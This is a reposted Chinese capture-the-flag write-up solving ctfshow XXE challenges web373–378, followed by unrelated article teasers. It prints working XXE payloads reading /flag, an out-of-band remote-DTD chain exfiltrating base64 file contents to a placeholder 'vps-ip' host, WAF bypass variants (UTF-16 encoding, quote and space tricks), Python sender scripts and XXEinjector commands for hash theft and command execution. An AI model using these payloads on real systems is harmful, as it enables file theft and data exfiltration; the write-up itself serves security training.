Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

news2024/10/6 14:48:24

CTFshow XXE web373

学习资料: (梭哈~)

https://www.cnblogs.com/20175211lyz/p/11413335.html

https://www.cnblogs.com/zhaijiahui/p/9147595.html

https://www.cnblogs.com/r00tuser/p/7255939.html

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://security.tencent.com/index.php/blog/msg/69

https://xz.aliyun.com/t/6754

https://xz.aliyun.com/t/3357#toc-8

https://www.freebuf.com/vuls/194112.html

https://www.freebuf.com/column/181064.html

https://blog.csdn.net/weixin_49656607/article/details/119921234

XXEinjector:一款功能强大的自动化XXE注射工具 - FreeBuf网络安全行业门户

考点:有回显XXE,外部实体。

直接给了源码

image-20230802164727344

<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    //生成一个Document
    $dom = new DOMDocument();
    // 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
    //LIBXML_NOENT 是替代实体
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
    $creds = simplexml_import_dom($dom);
  	// 通过箭头表达式引用。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);  

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hacker变量 -->
<!-- 外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 
<!-- -->
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; -->
    <ctfshow>
<!-- 读取hacker变量 -->
        &hacker;
    </ctfshow>
</root>

只能在bp里面发这个POST数据。hackbar发POST如果不是键值对形式,POST数据不会发送。

这个payload只限于猜文件名或者知道文件名。

image-20230804225438215



XXEinjector使用教程:

https://www.freebuf.com/column/170971.html

https://www.cnblogs.com/bmjoker/p/9614990.html

安装XXEinjector方式(Kali):

Kali 安装 Ruby环境 和 XXE神器XXEinjector 教程_Jay 17的博客-CSDN博客

1、sudo su  进入root权限
2、apt install ruby    安装ruby环境
3、ruby  -v    查看ruby是否安装成功以及安装版本
4、git clone https://github.com/enjoiz/XXEinjector/  
从GitHub下载XXEinjector
5、XXEinjector文件夹下开终端
6、ruby XXEinjector.rb   检查是否安装成功

基本使用方式:

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

CTFshow XXE web374

考点:无回显XXE,外部实体。

直接给了源码。

image-20230803173920636

比上题少了几行代码,分别是
$creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;

导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。

payload:

<?xml version="1.0" encoding="UTF-8"?>

<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(&#x25; vps),那就会解析(&#x25; vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->

<root>
1
</root>

test.dtd(放vps上面)内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- &#x25; 就是百分号(&#x25; vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! -->

<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;

image-20230803201230397

image-20230805123514521

这里Content-Type是不是application/xml没有关系。


自动化脚本:

import requests

url = ''
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://vps-ip/text.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-8')
requests.post(url ,data=payload)

同时我看网上也有师傅接受请求用的是vps上文件,就是先发送到vps上的dtd文件,dtd文件再转发到vps上一个php文件,php文件接受请求后写入一个txt文件。

想了一下,这个的原理其实和监听端口是一样的,都是XXE注入,通过请求自己vps带出数据,区别就在于带出的数据vps如何反馈给我们。


CTFshow XXE web375

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805130215770

相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"这个字符串


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805133401477

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805133512406

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805134116523

CTFshow XXE web376

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805134715526

相较于上题,过滤了<?xml version="1.0"这个字符串同时,/i模式把大小写都过滤了。过滤大小写没什么用,没有啥绕过方式是大小写绕过的。


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805133401477

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805133512406

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

image-20230805134116523

CTFshow XXE web377

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805141435297

比之前几题多过滤了一个http。能绕,开绕!


绕过方法:

编码绕过,用脚本把web374的payload转为utf-16编码。

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

import requests

url = 'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/'

#注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>
"""
payload = payload.encode('utf-16')
print(requests.post(url ,data=payload).text)

image-20230805143831078

CTFshow XXE web378

题目描述:python X

考点:无回显XXE,外部实体,绕过过滤。

开题是一个登录框

image-20230805144114260

F12直接能看见源码,一眼XXE。

image-20230805144505858

随便输入抓个包,一眼XXE,节点名字都告诉我们了。

image-20230805144224087

payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>&xxe;</password></user>

在路由/doLogin下发POST包。

burp坏了,拿python发送一个。

image-20230805145800633

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/842450.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

51单片机程序烧录教程

STC烧录步骤 &#xff08;1&#xff09;STC单片机烧录方式采用串口进行烧录程序&#xff0c;连接的方式如下图&#xff1a; &#xff08;2&#xff09;所以需要先确保USB转串口驱动是识别到&#xff0c;且驱动运行正常&#xff1b;是否可通过电脑的设备管理器查看驱动是否正常…

linux安装redis带图详细

如何在Linux系统中卸载Redis 一、使用apt-get卸载Redis sudo apt-get purge redis-server如果使用apt-get安装Redis&#xff0c;可以使用apt-get purge命令完全卸载Redis。其中&#xff0c;purge命令会不仅仅删除Redis二进制文件&#xff0c;还会删除配置文件、数据文件和日志…

数据结构刷题训练——链表篇(二)

目录 前言 1.题目一&#xff1a;链表分割 1.1 思路 1.2 分析 1.3 题解 2. 题目二&#xff1a;相交链表 2.1 思路 2.2 分析 2.3 题解 3. 题目三&#xff1a;环形链表 3.1 思路 3.2 分析 3.3 题解 总结 前言 本期继续分享链表相关的OJ题目&#xff0c;在这个专栏博客…

EtherCAT转EtherCAT网关FX5U有EtherCAT功能吗两个ETHERCAT设备互联

1.1 产品功能 捷米JM-ECT-ECT是自主研发的一款ETHERCAT从站功能的通讯网关。该产品主要功能是将2个ETHERCAT网络连接起来。 本网关连接到ETHERCAT总线中做为从站使用。 1.2 技术参数 1.2.1 捷米JM-ECT-ECT技术参数 ● 网关做为ETHERCAT网络的从站&#xff0c;可以连接倍福、…

小研究 - Mysql快速全同步复制技术的设计和应用(一)

Mysql半同步复制技术在高性能的数据管理中被广泛采用&#xff0c;但它在可靠性方面却存在不足.本文对半同步复制技术进行优化&#xff0c;提出了一种快速全同步复制技术&#xff0c;通过对半同步数据复制过程中的事务流程设置、线程资源合理应用、批量日志应用等技术手段&#…

span标签添加什么属性可以在鼠标移入后有一个提示文字类似于图片的alt

span标签添加什么属性可以在鼠标移入后有一个提示文字 类似于图片的alt 我们给span标签设置了不换行&#xff0c;超出后显示省略号&#xff0c;但是默认鼠标移入是不会有完整的文字的提示的&#xff0c;可以给span标签添加一个title属性就搞定了&#xff01; 效果图 html代码&a…

【css】textarea-通过resize:none 禁止拖动设置大小

使用 resize 属性可防止调整 textareas 的大小&#xff08;禁用右下角的“抓取器”&#xff09;&#xff1a; 没有设置resize:none 代码&#xff1a; <!DOCTYPE html> <html> <head> <style> textarea {width: 100%;height: 150px;padding: 12px 20p…

【Linux初阶】基础IO - 动静态库 | 初识、生成、链接、加载

&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f; &#x1f36d;&#x1f36d;系列专栏&#xff1a;【Linux初阶】 ✒️✒️本篇内容&#xff1a;动静态库初识&#xff0c;库的含义&#xff0c;静态库的生成与链接&#xff0c;gcc/g默认链接方式&#xff0c…

OSPF作业3

题目 地址配置 R1&#xff1a; R2&#xff1a; R3&#xff1a; R4&#xff1a; R5&#xff1a; R6&#xff1a; R7&#xff1a; R8&#xff1a; R9&#xff1a; R10&#xff1a; R11&#xff1a; R12&#xff1a; 私网通及LSDB优化 R1&#xff1a; ospf 1 router-id 1.1.1.1 …

HBase-读流程

创建连接同写流程。 &#xff08;1&#xff09;读取本地缓存中的Meta表信息&#xff1b;&#xff08;第一次启动客户端为空&#xff09; &#xff08;2&#xff09;向ZK发起读取Meta表所在位置的请求&#xff1b; &#xff08;3&#xff09;ZK正常返回Meta表所在位置&#x…

《算法竞赛·快冲300题》每日一题:“连接草坪(II)”

《算法竞赛快冲300题》将于2024年出版&#xff0c;是《算法竞赛》的辅助练习册。 所有题目放在自建的OJ New Online Judge。 用C/C、Java、Python三种语言给出代码&#xff0c;以中低档题为主&#xff0c;适合入门、进阶。 文章目录 题目描述题解C代码Java代码Python代码 “ 连…

【ARM64 ATF 系列 1 -- ATF 中断向量表及SMC 处理流程】

文章目录 1.1 ATF 中断向量表1.1.1 ATF 汇编宏 vector_base 1.2 ATF SMC 中断处理流程 1.1 ATF 中断向量表 ATF 中断向量表的定义位于文件&#xff1a;bl31/aarch64/runtime_exceptions.S vector_base runtime_exceptions/* -----------------------------------------------…

Spring+MyBatis整合案例

提示&#xff1a;要有自学能力&#xff0c;会学习 文章目录 前言前期准备项目内容数据库创建应用程序配置po 包代码mapper 包代码service 包代码测试类代码添加事物处理功能 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 前期准备 第一步&#xff1a…

[CSS] 图片九宫格

效果 index.html <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"/><meta http-equiv"X-UA-Compatible" content"IEedge"/><meta name"viewport" content"widthdevice-…

vscode自动补全(智能提示)大小写问题

最近发现vscode的自动补全有时候显示的不是想要的&#xff0c;具体表现为&#xff1a;我输入了几个字母&#xff0c;但是提示列表里面没有我需要的内容。 例如&#xff1a; 我输入了list&#xff0c;但是没有显示java.util中的List&#xff1b; 或者我输入了hashmap&#xf…

海外媒体发稿:软文写作方法方式?一篇好的软文理应合理规划?

不同种类的软文会有不同的方式&#xff0c;下面小编就来来给大家分析一下&#xff1a; 方法一、要选定文章的突破点&#xff1a; 所说突破点就是这篇文章文章软文理应以什么样的视角、什么样的见解、什么样的语言设计理念、如何文章文章的标题来写。不同种类的传播效果&#…

Apache+Tomcat 整合

目录 方式一&#xff1a;JK 1、下载安装包 2、添加依赖 3、启动服务&#xff0c;检查端口是否监听 4、提供apxs命令 5、检查是否确实依赖 6、编译安装 7、重要配置文件 方式二&#xff1a;http_proxy 方式三&#xff1a;ajp_proxy 方式一&#xff1a;JK 1、下载安装…

Vulnhub: ColddWorld: Immersion靶机

kali&#xff1a;192.168.111.111 靶机&#xff1a;192.168.111.183 信息收集 端口扫描 nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.183 查看login的源码发现提示&#xff1a;page和文件/var/carls.txt 漏洞利用 wfuzz探测account.php页面发现文件包含&am…

前端笔记html-layer使用

layer.open方法 layer.open({type:2, //可传入的值有&#xff1a;0&#xff08;信息框&#xff0c;默认&#xff09;1&#xff08;页面层&#xff09;2&#xff08;iframe层&#xff09;3&#xff08;加载层&#xff09;4&#xff08;tips层&#xff09;title: title,content:[…

高抗干扰LCD液晶屏驱动芯片,低功耗的特性适用于水电气表以及工控仪表类产品

VK2C23是一个点阵式存储映射的LCD驱动器&#xff0c;可支持最大224点&#xff08;56SEGx4COM&#xff09;或者最大416点&#xff08;52SEGx8COM&#xff09;的LCD屏。单片机可通过I2C接口配置显示参数和读写显示数据&#xff0c;也可通过指令进入省电模式。其高抗干扰&#xff…